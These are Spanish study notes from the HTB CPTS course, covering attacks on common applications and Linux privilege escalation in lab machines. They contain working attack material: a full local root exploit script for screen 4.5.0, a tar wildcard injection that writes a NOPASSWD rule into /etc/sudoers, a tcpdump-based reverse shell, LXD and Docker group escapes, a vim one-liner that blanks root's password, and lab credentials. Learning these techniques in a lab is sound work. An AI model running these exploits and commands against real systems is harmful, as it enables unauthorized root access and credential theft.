Vemos una cadena de SQLDriverConnect:
![[Pasted image 20260730124911.png]]
Añadimos un breakpoint en esa direccion y volvemos a ejecutar el programa, revelando una conexion de SQL en la direccion del RDX que contiene las credenciales de la BBDD local:
b *main+N (N=433 en este caso)
run
![[Pasted image 20260730125043.png]]
Evaluacion de un archivo DLL
Un archivo DLL es una biblioteca de enlace dinamico y contiene codigo que es llamado desde otros programas
Tenemos el binario MultimasterAPI.dll que se encuentra en la maquina remota para su evaluacion
Al ejecutarlo revela que se trata de un ensamblado .NET:
![[Pasted image 20260730125430.png]]
Usando dnSpy podemos ver el codigo fuente directamente
MultimasterAPI.Controllers -> ColleagueController
Revela una cadena de conexion a la BBDD que contiene la contraseña:
![[Pasted image 20260730125558.png]]
Ejemplo practico
Cuales son las credenciales de la BBDD encontrado en el debugging del binario octopus_checker
CREDENCIALES –> htb-student:HTB_@cademy_stdnt!
- Nos conectamos via ssh
![[Pasted image 20260730125813.png]]
- Ejecutamos el binario y vemos que se conecta a una SQL
![[Pasted image 20260730125854.png]]
- Iniciamos gdb, especificamos el tipo de desamblado y desamblamos el main(). Dentro vimos un call sobre un registro que contenia texto que decia SQLDriverConnect
![[Pasted image 20260730125943.png]]![[Pasted image 20260730130008.png]]
- Establecemos un breakpoint en la posicion main+433 y lo ejecutamos viendo asi las credenciales
![[Pasted image 20260730131136.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 8. Aplicaciones Diversas / 6. Otras Aplicaciones Notables
1. Otras Aplicaciones Notables
![[Pasted image 20260730131537.png]]![[Pasted image 20260730131549.png]]
Ejemplo practico
Enumera el target e identifica la aplicacion que esta corriendo
Enumera sus vulns, consigue RCE y devuelve el contenido de flag.txt en el desktop de administrator
- Enumeramos el host y vemos que tiene un IIS y la aplicacion es WebLogic por el puerto 7001
![[Pasted image 20260730151339.png]]
- Buscamos en MSF exploits para su version y encontramos 2 de RCE
![[Pasted image 20260730152305.png]]
- Usamos el primero, le ponemos las opciones necesarias y explotamos
![[Pasted image 20260730152315.png]]![[Pasted image 20260730152517.png]]![[Pasted image 20260730152528.png]]
- Conseguimos una shell Meterpreter y recuperamos la flag
![[Pasted image 20260730152717.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 9. Skill Assessment
1. Skill Assessment 1
Enumera el host en busca de aplicaciones potencialmente vulnerables para conseguir un punto de apoyo y enviar el contenido de flag.txt
Cual es la aplicacion vulnerable
En que puerto esta corriendo
Cual es la version de la aplicacion
Explota la aplicacion obteniendo una shell y sube el contenido de flag.txt en el Desktop del Administrator
- Miramos la pagina web
![[Pasted image 20260731124404.png]]
- Al hacer un escaneo de puertos y servicios vemos que la aplicacion es Tomcat. Si hacemos un escaneo usando scripts vemos que la version es 9.0.0.M
![[Pasted image 20260731124501.png]]
![[Pasted image 20260731124608.png]]
- Tambien lo podemos ver de esta forma
![[Pasted image 20260731124640.png]]![[Pasted image 20260731124700.png]]
- Hacemos un fuzzing de puertos y no encontramos nada. Ni WEB-INF/web.xml ni conf/tomcat-users.xml existen
![[Pasted image 20260731125451.png]]
- Probamos con cgis con extension cmd o bat ya que es un Windows y encontramos
![[Pasted image 20260731130730.png]]
- Probamos distintos ataques sin exito. Mirando en MSF vemos un exploit que podria funcionar
![[Pasted image 20260731130801.png]]
![[Pasted image 20260731131622.png]]
![[Pasted image 20260731131643.png]]
![[Pasted image 20260731131634.png]]
- Usamos el exploit, funciona y obtenemos la flag
![[Pasted image 20260731131609.png]]![[Pasted image 20260731131827.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 9. Skill Assessment
2. Skill Assessment 2
Hay un vhost llamado gitlab.inlanefreight.local
Realiza una enumeracion profunda e iterativa para revelar varias fallas
Cual es la URL de la instancia WP
Cual es el nombre del proyecto publico de Gitlab
Cual es el FQDN del 3 vhost
Que aplicacion que esta corriendo en el 3 vhost
Cual es el admin pass para acceder a la aplicacion
Obten un reverse shell en el objectivo y recupera el contenido flag.txt
![[Pasted image 20260731134404.png]]
![[Pasted image 20260731134626.png]]
![[Pasted image 20260731134644.png]]![[Pasted image 20260731134708.png]]![[Pasted image 20260731134728.png]]![[Pasted image 20260731134804.png]]
![[Pasted image 20260731135305.png]]
![[Pasted image 20260731135354.png]]![[Pasted image 20260731135419.png]]
![[Pasted image 20260731135432.png]]
![[Pasted image 20260731135530.png]]![[Pasted image 20260731135628.png]]
![[Pasted image 20260731135658.png]]
![[Pasted image 20260731135758.png]]
![[Pasted image 20260731135908.png]]![[Pasted image 20260731140038.png]]![[Pasted image 20260731140202.png]]
![[Pasted image 20260731140240.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 9. Skill Assessment
3. Skill Assessment 3
Necesitamos conectarnos al sistema con priv admin y conseguir la contraseña codificada para el servicio MSSQL
Cual es la contraseña de la conexion de base de datos del archivo MultimasterAPI.dll
- Entramos al host
![[Pasted image 20260731145700.png]]
- Buscamos el dll
![[Pasted image 20260731145930.png]]![[Pasted image 20260731150022.png]]![[Pasted image 20260731150037.png]]
- Tratamos de saber en que lenguaje esta montado. Get-FileMetaData no funciona por lo que si usamos lo siguiente y sale como salida MultmasterAPI significa que .NET ha podido leer el archivo = es un .NET
![[Pasted image 20260731150559.png]]
- Usamos dnSpy para ver el codigo fuente a traves de reversing
![[Pasted image 20260731150630.png]]
- En MultimasterAPI.Controllers vemos una conexion a una base de datos local con las credenciales. Lo usa para ver a los compañeros de la bbdd y obtener su id, nombre, posicion, email e imagen para el constructor de Colleagues
![[Pasted image 20260731151616.png]]
![[Pasted image 20260731151533.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 1. Introduccion
1. Introduccion
La cuenta root proporciona acceso administrativo
Enumeracion
LinEnum: puede asistir a la enumeracion para la escalada de privs
Piezas para la enumeracion manual:
- Version del SO y Distribucion: para saber las herramientas que pueden estar disponibles y exploits
- Version del kernel: para encontrar exploits publicos (estos pueden causar inestabilidad)
- Servicios en ejecucion: para ver que servicios estan corriendo y cuales como root. Un servicio mal configurado o vulnerable que se ejecute como root puede ser una ruta facil de escalada
Listar procesos
ps aux | grep root
![[Pasted image 20260916153720.png]]
- Paquetes instalados y versiones: buscar cualquier paquete desactualizado o vulnerable para escalar privs
- Usuarios con sesion iniciada: saber que otros usuarios hay en el sistema para proporcionar una mejor version de posibles rutas de movimiento lateral
Listar procesos asociados a terminal
ps au
![[Pasted image 20260916153856.png]]
- Directorios home de los usuarios: las carpetas home pueden contener claves SSH y se pueden usar para acceder a otros sistemas, tambien podemos encontrar scripts y archivos de configuracion con creds
ls /home
![[Pasted image 20260916153956.png]]
Podemos revisar los direcotorios individuales y comprobar .bash_history
ls -la /home/USER/
![[Pasted image 20260916154055.png]]
Podriamos encontrar una key SSH
ls -l ~/.ssh
![[Pasted image 20260916154129.png]]
- Revisar el historial bash
history
![[Pasted image 20260916154159.png]]
- Privilegios de sudo: por si podemos ejecutar algun comando o script como
root debido al NOPASSWD
sudo -l
![[Pasted image 20260916154302.png]]
- Archivos de configuracion: pueden contener mucha informacion
.conf, .config, .cfg...
- Archivo shadow: si es legible contiene los hashes de contraseñas de usuario
- Hashes de /etc/passwd: podria recopilar hashes de contraseñas de usuario, aunque en la gran mayoria de ocasicones pone una X y los hashes se guardan en /etc/shadow
cat /etc/passwd
![[Pasted image 20260916154603.png]]
- Tareas cron: tareas programadas de Linux que pueden ser aprovechadas si tenemos permisos de escritura en ellas o si estan mal configuradas
ls -la /etc/cron.daily/
![[Pasted image 20260916154656.png]]
- Sistemas de archivos no montados y unidades adicionales: se descubrimos y podemos montar una unidad o un sistema de archivos no montado para leer archivos sensibles, contraseñas o copias de seguridad
lsblk
![[Pasted image 20260916154801.png]]
- Permisos SETUID y SETGID: pueden permitir que el archivo se ejecute como root
- Directorios con permisos de escritura: descubrir que directorios tienen permisos de escritura por si necesitamos cargar herramientas
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
![[Pasted image 20260916154954.png]]
- Archivos con permisos de escritura: si hay un script ejecutado como root que tengamos permisos de escritura podriamos elevar nuestros privs facilmente:
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
![[Pasted image 20260916155049.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 2. Recopilacion De Informacion
1. Enumeracion Del Entorno
LinPEAS y LinEnum: son scritps que ayudan a la enumeracion
Cuando entramos en un sistema por primera vex debemos verificar varias cosas:
- Que SO se esta ejecutando:
cat /etc/os-release
![[Pasted image 20260916155312.png]]
Deberiamos mirar si Ubuntu 20.04.4 LTS es algo desactualizado o desatendido
2. Miramos la variable PATH que es donde el sistema busca cada vez que ejecutamos un comando. Si esta esta mal configurada pordriamos elevar nuestros privs
echo $PATH
![[Pasted image 20260916155507.png]]
- Podemos mirar todas las variables del entorno para ver si hay algo sensible aqui:
env
![[Pasted image 20260916155542.png]]
- Revisar la version del kernel para ver si es vulnerable:
cat /proc/version
uanme -a
![[Pasted image 20260916155639.png]]
- Recopilar informacion sobre el propio host:
lscpu
![[Pasted image 20260916155718.png]]
- Que shells de inicio de sesion existen en el sistema:
cat /etc/shells
![[Pasted image 20260916155754.png]]
-
Verificar si hay medidas de defensa implementadas. Algunas cosas que mirar son:
Lo normal es que no tengamos privs para enumerarlos
-
Mirar las unidades y recursos compartidos en el sistema:
lsblk
![[Pasted image 20260916155934.png]]
- Encontrar info sobre impresoras conectadas al sistema:
lpstat
- Unidades montadas y no montadas:
cat /etc/fstab
![[Pasted image 20260916160058.png]]
- Revisar la tabla de enrutamiento para ver que otras redes estan disponibles:
route
netstat -rn
![[Pasted image 20260916160137.png]]
- Revisar
/etc/resolv.conf si estamos en un entorno de dominio para ver si esta configurado para usar el DNS interno y consultar asi el AD
- Revisar la table ARP:
arp -a
![[Pasted image 20260916160250.png]]
Conocimiento sobre los usuarios
- Usuarios existentes:
cat /etc/passwd
![[Pasted image 20260916160336.png]]
Puede que alguna vez veamos los hashes aqui aunque suelen estar en /etc/shadow
Para ver los usuarios que existen:
cat /etc/passwd | cut -f1 -d:
![[Pasted image 20260916160439.png]]
- Identificar el algoritmo de los hashes almacenados:
![[Pasted image 20260916160514.png]]
- Verificar los usuarios con shells de inicio de sesion:
grep "sh$" /etc/passwd
![[Pasted image 20260916160549.png]]
Las versiones bash anteriores a 4.1 son vulns a Shellshock
4. Revisar los grupos de los usuarios
cat /etc/group
![[Pasted image 20260916160907.png]]
O revisar los miembros de un grupo especifico:
getent group sudo
![[Pasted image 20260916160944.png]]
- Como digimos antes, revisar los que tengan carpeta /home para ver si tienen .bash_history o .ssh dentro
ls /home
![[Pasted image 20260916161035.png]]
- Podemos buscar cualquier archivo de configuracion y otros con contenido sensible
- Revisar archivos montados (hay varios tipos: ext4, NTFS, FAT32):
df -h
![[Pasted image 20260916161226.png]]
Habra veces que no podremos ver los sistemas de archivos porque estan capados solo para root
8. Sistemas de archivos no montados:
cat /etc/fstab | grep -v "#" | column -t
![[Pasted image 20260916161401.png]]
Habra veces que no podremos montar los sistemas de archivos porque estan capados solo para root
9. Busqueda de archivos ocultos:
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep htb-student
![[Pasted image 20260916161445.png]]
- Busqueda de directorios ocultos:
find / -type d -name ".*" -ls 2>/dev/null
![[Pasted image 20260916161509.png]]
- Carpetas destinadas a archivos temporales: /tmp, /var/tmp
- /tmp: se almacenan durante un tiempo mas corto (se eliminan tras reinicio)
- /var/tmp: se almacenan durante un tiempo mas largo (no se eliminan tras reinicio)
ls -l /tmp /var/tmp /dev/shm
![[Pasted image 20260916161713.png]]
Ejemplo practico
Enumera el entorno Linux y busca archivos interesantes que contengan informacion sensible
![[Pasted image 20260916162002.png]]
![[Pasted image 20260916163738.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 2. Recopilacion De Informacion
2. Enumeracion De Servicios Y Componentes Internos Linux
Componentes internos
Interfaces de la red
ip a
![[Pasted image 20260916211957.png]]
Hosts
cat /etc/hosts
![[Pasted image 20260916212021.png]]
Ultimo inicio de sesion del usuario
lastlog
![[Pasted image 20260916212057.png]]
Usuario con sesion iniciada
w
who
finger
![[Pasted image 20260916212329.png]]
Historial de comandos
history
![[Pasted image 20260916212400.png]]
Busqueda de archivos de historial
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null
![[Pasted image 20260916212426.png]]
Busqueda de tareas programadas
ls -la /etc/cron.daily/
![[Pasted image 20260916212613.png]]
Sistema de archivo proc
Es un sistema de archivos que contiene informacion sobre los procesos del sistema, hw y otra informacion del sistema
find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"
![[Pasted image 20260916212705.png]]
Servicios
Paquetes instalados
Para encontrar paquetes que tengan vulnerabiliades. Para detectar estos paquetes que podrian ser vulns:
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
![[Pasted image 20260916212838.png]]
Version del sudo
Por si esta desactualizada:
sudo -V
![[Pasted image 20260916212919.png]]
Programas binarios compilados
ls -l /bin /usr/bin/ /usr/sbin/
![[Pasted image 20260916212950.png]]
GTFObins
GTFObins: es una plataforma que incluye binarios que pueden ser explotados para escalar privs
for i in $(curl -s https://gtfobins.org/api.json | jq -r '.executables | keys[]'); do if grep -q "$i" installed_pkgs.list; then echo "Check for GTFO: $i";fi; done
![[Pasted image 20260916213139.png]]
Trazar llamadas al sistema
Strace: se puede usar para rastrear y analizar llamadas al sistema y el procesamiento de señales. Esto nos permite seguir el flujo de un programa y entender como accede a los resultados del sistema, procesa señales y recibe o envia datos
strace ping -c1 10.129.112.20
![[Pasted image 20260916213520.png]]
Archivos de configuracion
Pueden contener secretos y credenciales:
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null
![[Pasted image 20260916213606.png]]
Busqueda de scripts
Similar que con los archivos de configuracion:
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
![[Pasted image 20260916213635.png]]
Servicios en ejecucion por usuario
Si observamos la lista procesos podremos saber que scripts o binarios se estan ejecutando y porque usuario
ps aux | grep root
![[Pasted image 20260916213712.png]]
Ejemplo practico
Cual es la ultima version instalada de Python en el objetivo
![[Pasted image 20260916214040.png]]![[Pasted image 20260916214049.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 2. Recopilacion De Informacion
3. Busqueda De Credenciales
Podemos encontrar credenciales en archivos de configuracion (.conf, .config, .xml, .php...), scripts de shell, archivos de historial, de respaldo .bak o en archivos de texto
/var: suele contener el webroot de los servidores web el cual puede contener credenciales para conectarse a BBDD i otros tipos de credenciales. Ejemplo:
grep 'DB_USER\|DB_PASSWORD' wp-config.php
![[Pasted image 20260916214343.png]]
Los directorios spool o de correo, si son accesibles, tambien pueden contener informacion valiosa o credenciales:
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
![[Pasted image 20260916214607.png]]
SSH Keys
Buscar el directorio .ssh donde se encuentran las claves SSH.
Podemos encontrar el archivo known_hosts que se usa para que SSH recuerde los servidores a los que el usuario se ha conectado y sus claves publicas
(los hosts que encontremos son a los que se ha conectado el usuario y podrian ser interesantes)
ls ~/.ssh
![[Pasted image 20260916214930.png]]
Ejemplo practico
Encuentra la pass de la base de datos de WP
![[Pasted image 20260916215315.png]]![[Pasted image 20260916215329.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 3. Escalada De Privs Basada En El Entorno
1. Abuso De La Ruta Path
PATH es una variable de entorno que especifica el conjunto de directorios en el que se va a localizar un ejecutable
Ejemplo:
cat --> /bin/cat --? $PATH=...:/bin:...
![[Pasted image 20260917144338.png]]
Si creamos un script o alojamos un ejecutable en alguna de esas rutas, lo hara ejectable desde cualquier parte del entorno
pwd && COMANDO
![[Pasted image 20260917144424.png]]
![[Pasted image 20260917144456.png]]
Vemos que conncheck que se aloja en /usrlocal/sbin puede ser ejecutado desde /tmp o cualquier otra ruta
Si agregamos . a la variable PATH, se agregara la ruta actual a la lista PATH
Imagina que creas un binario malicioso llamado `ls`, tras esto añades `.` a la lista PATH y haces export PATH. Podremos ejecutar `ls` y se llamara al binario malicioso de nuestra ruta actual
PATH=.:${PATH}
export PATH
echo $PATH
![[Pasted image 20260917144829.png]]
Ejemplo con el comando ls para ejecute un echo simple (primero tendremos que incorporar . al PATH):
touch ls
echo 'echo "PATH ABUSE!!"' > ls
chmod +x ls
ls
![[Pasted image 20260917144950.png]]![[Pasted image 20260917144955.png]]
Ejemplo practico
Revisa la variable PATH de htb-student y di cual directorio no determinado es parte de PATH
![[Pasted image 20260917145219.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 3. Escalada De Privs Basada En El Entorno
2. Abuso De Comodines (wildcards)
Un wildcard se puede usar como reemplazo de otros caracteres y es interpretado por la shell antes de otras acciones:
![[Pasted image 20260917145322.png]]
Un ejemplo de como se puede usar para escalar privs es con el comando tar:
tar es un programa para crear/extraer archivos. La opcion --checkpoint-action permite ejecutar una accion EXEC cuando alcanza un punto de control (es decir ejecuta comandos cuando tar se ejecute)
- Si ejecutamos tar con
--checkpoint=1 y --checkpoint-action=exec=sh root.sh, estas se pasaran como opciones de linea de comandos
Imaginemos un cron job que comprima /home/htb-student a modo de backup y se ejecute cada minuto
![[Pasted image 20260917145713.png]]
Podemos aprovechar lso comodines en el cron job (*) para escribir comandos necesarios como nombres de archivos dentro de /home/htb-student para que se ejecuten como argumentos de tar:
- Creamos el script que se especificara en los argumentos tar para ejecutarse
echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
- Creamos los archivos vacios con nombres de opciones tar para que se pasen como argumentos
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1
- Comprobamos que se han creado correctamente
![[Pasted image 20260917150021.png]]
- Revisamos sudoers
![[Pasted image 20260917150034.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 3. Escalada De Privs Basada En El Entorno
3. Escapar De Shells Restringidas
Es un tipo de shell que limita la capacidad de ejecutar comandos permitiendo solo un par de ellos
Estas se usan para proporcionar un entorno seguro
RBASH
La shell Bourne restringida (rbash) es una version de shell Bourne que limita la capacidad del usuario para usar ciertas caracteristicas de Bourne como:
- Cambiar de directorio
- Establecer o modificar variables de entorno
- Ejecutar comandos en otros directorios
RKSH
La shell Korn restringida (rksh) es una version de shell Korn que limita al usuario como:
- Ejecutar comandos en otros directorios
- Crear o modificar funciones de la shell
- Modificar el entorno de la shell
RZSH
La shell Z restringida (rzsh) es una versión de shell Z que limita al usuario como:
- Ejecutar scripts de shell
- Definir alias
- Modificar el entorno de la shell
Se pueden usar varios métodos para escapar de una shell restringida. Algunos de estos métodos implican explotar vulnerabilidades en la propia shell, mientras que otros implican usar técnicas creativas para eludir las restricciones impuestas por la shell
Escapar
Inyecciones de comandos
Imagina que podemos ejecutar comandos y pasarles argumentos. En nuestro caso solo nos deja usar ls con un conjunto de argumentos como ls -l o ls -a
Para intectar comandos usaremos '
ls -l `pwd`
ls ejecutara -l seguido de la salida de pwd
Sustitucion de comandos
Imagina que la shell permite a los usuarios ejecutar comandos encerrandolos entre ' . En ese caso podriamos escapar de la shell ejecutando un comando entre '
Ejemplos:
user=$(whoami)
echo "Hola: $user"
O con comillas:
echo "Hola: `whoami`"
Encadenamiento de comandos
Usar multiples comandos en una sola linea separados por ; o |
ls;whoami
Variables de entorno
Tenemos que ser capaces de modificar o crear variables de entorno. Por ejemplo modificar la variable que especifica el direcotorio en el que se ejecutan los comandos (PATH) o creando una variable personalizada:
PATH:
PATH=.:${PATH}
export PATH
echo $PATH
COMANDO o SCRIPT
CREANDO VARIABLE:
user=$(whoami)
echo "Hola: $user"
Funciones de shell
Podriamos definir o invocar funciones de shell que ejecuten comandos no restringidos por shell. Digamos que la shell permite a los usuarios definir e invocar funciones de shell; podría ser posible escapar de la shell definiendo una función de shell que ejecute un comando
FUNCION NO SOPORTA ARGUMENTOS:
run_command() { $1 }
run_command whoami
FUNCION SI SOPORTA ARGUMENTOS:
run_command() { "$@" }
run_command ls -la
Ejemplo practico
Usa diferentes tecnicas para escapar de la shell restringida y leer flag.txt
![[Pasted image 20260917154049.png]]
![[Pasted image 20260917154041.png]]
echo $(<flag.txt)
Aqui estamos diciendo: coge el input de flag.txt y pasaselo a echo
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 4. Escalada De Privs Basada En Permisos
1. Permisos Especiales
SETUID
SETUID: puede permitir a un usuario ejecutar un programa o script con los permisos de otro usuario (normalmente con privs elevados)
Debe aparecer el bit s en los permisos:
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
![[Pasted image 20260917154440.png]]
Podemos hacer ingenieria inversa de un programa SETUID, identificar una vuln y explotarla para escalar privs
SETGID
SETGID: nos permite ejecutar binarios como si fueramos parte del grupo que lo creo:
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
![[Pasted image 20260917154623.png]]
GTFOBins
GTFOBins: lista de binarios y scripts que pueden ser usados para evadir restricciones de seguridad
Ejemplo de apt-get para escapar de entornos restringidos y generar una shell:
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
![[Pasted image 20260917154749.png]]
Ejemplo practico
- Encuentra un archivos SETUID que no fue mostrado en la seccion y pon el full path
![[Pasted image 20260917155044.png]]
- Encuentra un archivo con SETGID que no fue mostrado en la seccion y pon el full path
![[Pasted image 20260917155114.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 4. Escalada De Privs Basada En Permisos
2. Abuso De Permisos Sudo
Se pueden conceder privs sudo a un usuario para un solo comando, scripts etc especificando su ruta
Si pone NOPASSWD significa que podemos ejecutar todo como root
Esto se especifica en /etc/sudoers y se puede ejecutar sudo -l para verlo:
sudo -l
![[Pasted image 20260917155534.png]]
En este caso nuestro usuario puede ejecutar como root tcpdump sin saber la contraseña de root
Podemos tratar de usar tcpdump que se ejecuta como root para escalar privs:
man tcpdump
> -z postrotate-command
![[Pasted image 20260917155654.png]]
-z se puede usar para ejeuctar un script shell que nos envie una reverse shell. Se usa con -C o -W
Creamos un archivo /tmp/.test que contenga la reverse shell y lo ejecutamos con -z
![[Pasted image 20260917160424.png]]
Iniciamos un listener nc en la kali
nc -nvlp PUERTO
Ejecutamos tcpdump con postrotate-command:
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
![[Pasted image 20260917160530.png]]
- l: linebuffering en stdout/stderr
- n: no resuelve nombres de hosts
- -i eth0: captura el trafico de esa interfaz
- -w /dev/null: escribe los paquetes en /dev/null (para no guardarlos)
- -W 1: limite de 1 archivo tras la primera rotacion
- -G 1: rota cada 1s
- -z /tmp/.test: al cerrar el savefile ejecuta
/tmp/.test /dev/null usando el nombre del archivo rotado como argumento
Recibimos la shell:
![[Pasted image 20260917160557.png]]
AppArmor ha definido dos buenas practicas a la hora de provisionar permisos sudo:
![[Pasted image 20260917160631.png]]
Ejemplo practico
Que comando puede ser usado por htb-student como sudo
![[Pasted image 20260917160713.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 4. Escalada De Privs Basada En Permisos
3. Grupos Con Privilegios
LXC/LXD
LXD es similar a Docker y es el gestor de contenedores de Ubuntu. Tras la instalacion todos los usuarios son añadidos a LXD y su pertenencia puede ser usada para escalar privs creando un contenedor LXD, haciendolo privilegiado y luego accediendo al sistema de archvios del host en /mnt/root
- Confirmamos la pertenencia al grupo
id
![[Pasted image 20260917161802.png]]
- Descomprimimos la imagen Alpine:
unzip alpine.zip
![[Pasted image 20260917161832.png]]
- Inicia el proceso de inicializacion de LXD. Elegimos valores por defecto en cada pregunta:
lxd init
![[Pasted image 20260917161909.png]]
- Importamos la imagen local:
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
![[Pasted image 20260917161936.png]]
- Iniciamos el contenedor privilegiado con
security.privileged estableciendolo en true para ejecutar el contenedor sin un mapeo UID haciendo que el usuario root del contenedor sea el mismo que el root del host:
lxc init alpine r00t -c security.privileged=true
![[Pasted image 20260917162040.png]]
- Montamos el sistema de archivos:
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
![[Pasted image 20260917172456.png]]
- Lanzamos una shell dentro de la instancia del contenedor. Si navegamos al sistema de archivos montados podremos leer contenidos de /root (
/mnt/root/root) o archivos sensibles /etc/shadow
lxc start r00t
lxc exec r00t /bin/sh
> id
![[Pasted image 20260917172627.png]]
Docker
Añadir un usuario al grupo docker es esencialmente equivalente a tener acceso a nivel de root al sistema de archivos sin necesidad de contraseña. Los miembros del grupo docker pueden lanzar nuevos contenedores docker
docker run -v /root:/mnt -it ubuntu
Este comando crea una nueva instancia de Docker con el directorio /root del sistema de archivos del host montado como un volume
Una vez montado, se inicia y podemos navegar por el directorio montado y recuperar claves SSH o mirar archivos sensibles
Disk
Los usuarios dentro del grupo disk tienen acceso total a cualquier dispositivo contenido en /dev, como /dev/sda1, que es típicamente el dispositivo principal usado por el sistema operativo
Un atacante con estos privilegios puede usar debugfs para acceder a todo el sistema de archivos con privilegios de nivel root
ADM
Los miembros del grupo adm pueden leer todos los registros almacenados en /var/log
Esto no concede directamente acceso root, pero podría aprovecharse para recopilar datos sensibles almacenados en archivos de registro o para enumerar acciones de usuarios y trabajos cron en ejecución.
![[Pasted image 20260917172925.png]]
Ejemplo practico
Usa los privilegios de grupo para localizar la flag
![[Pasted image 20260917174745.png]]
![[Pasted image 20260917174750.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 4. Escalada De Privs Basada En Permisos
4. Capacidades
Las capacidades de Linux son una caracteristica de seguridad que permite conceder privs especificos a los procesos, permitiendoles realizar acciones concretas que de otro modo estarian restringidas
Establecer capabilities
sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic
Cuando le establecemos capabilities a un binario, este podra realizar acciones especificas que no podrian realizar sin ellas, en este caso con cap_net_bind_service se podra conectar a puertos de red
Tipos de capabilities
![[Pasted image 20260918131234.png]]
Valores de capabilities
![[Pasted image 20260918131338.png]]
Capabilities para escalar privs
![[Pasted image 20260918131401.png]]
Enumerar capabilities
Enumerar binarios con capabilities establecidas:
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
![[Pasted image 20260918131456.png]]
Explotacion
Si obtuvimos acceso al sistema con una cuenta de privs bajos y descubrimos cap_dac_override:
getcap /usr/bin/vim.basic
![[Pasted image 20260918131556.png]]
vim se ejecuta sin privs pero con cap_dac_override puede escalar los privs del usuario que lo ejecuta
Ya que tenemos vim podriamos por ejemplo eliminar la X de /etc/passwd del usuario root para que su login no tenga creds:
- Miramos el archivo /etc/passwd
cat /etc/passwd | head -n1
![[Pasted image 20260918131823.png]]
- Usamos vim para eliminar la X de forma interactiva:
/usr/bin/vim.basic /etc/passwd
![[Pasted image 20260918131919.png]]
O de forma no interactiva:
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
cat /etc/passwd | head -n1
![[Pasted image 20260918131958.png]]
- Ejecutamos su para iniciar sesion como root
su
Ejemplo practico
Escala privs usando capabilities y lee flag.txt en /root
- Nos logueamos con ssh
![[Pasted image 20260918132232.png]]
- Buscamos binarios con capabilities y encontramos un cap_dac_override que nos permite escribir archivos con privs elevados sin usar sudo
![[Pasted image 20260918132248.png]]
- Entramos en /etc/flag y usamos :w! para forzar la escritura
![[Pasted image 20260918132322.png]]![[Pasted image 20260918132335.png]]
![[Pasted image 20260918132655.png]]
- Le damos a I para insertar, eliminamos la X, Esc para salir del modo insertar y forzamos guardar con :wq!
![[Pasted image 20260918132410.png]]
![[Pasted image 20260918132830.png]]
- Comprobamos que este sin X la linea de root e iniciamos sesion como root
![[Pasted image 20260918132900.png]]
![[Pasted image 20260918132928.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 5. Escala De Privs Basada En Servicios
1. Servicios Vulnerables
Hay muchos servicios con fallos que se pueden usar para escalar privs
Ejemplo de Screen v4.5.0
- Identificacion de la version de screen:
screen -v
![[Pasted image 20260918134713.png]]
- Uso de exploit para escalar privs. El exploit trunca un archivo o crea un archivo de propiedad root en cualquier directorio y obtiene acceso completo de root
./screen_exploit.sh
![[Pasted image 20260918134853.png]]
Exploit de Screen:
nano screen_exploit.sh
sed -i 's/^EOF *$/EOF/' screen_exploit.sh
chmod +x screen_exploit.sh
./screen_exploit.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c -Wno-implicit-function-declaration
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
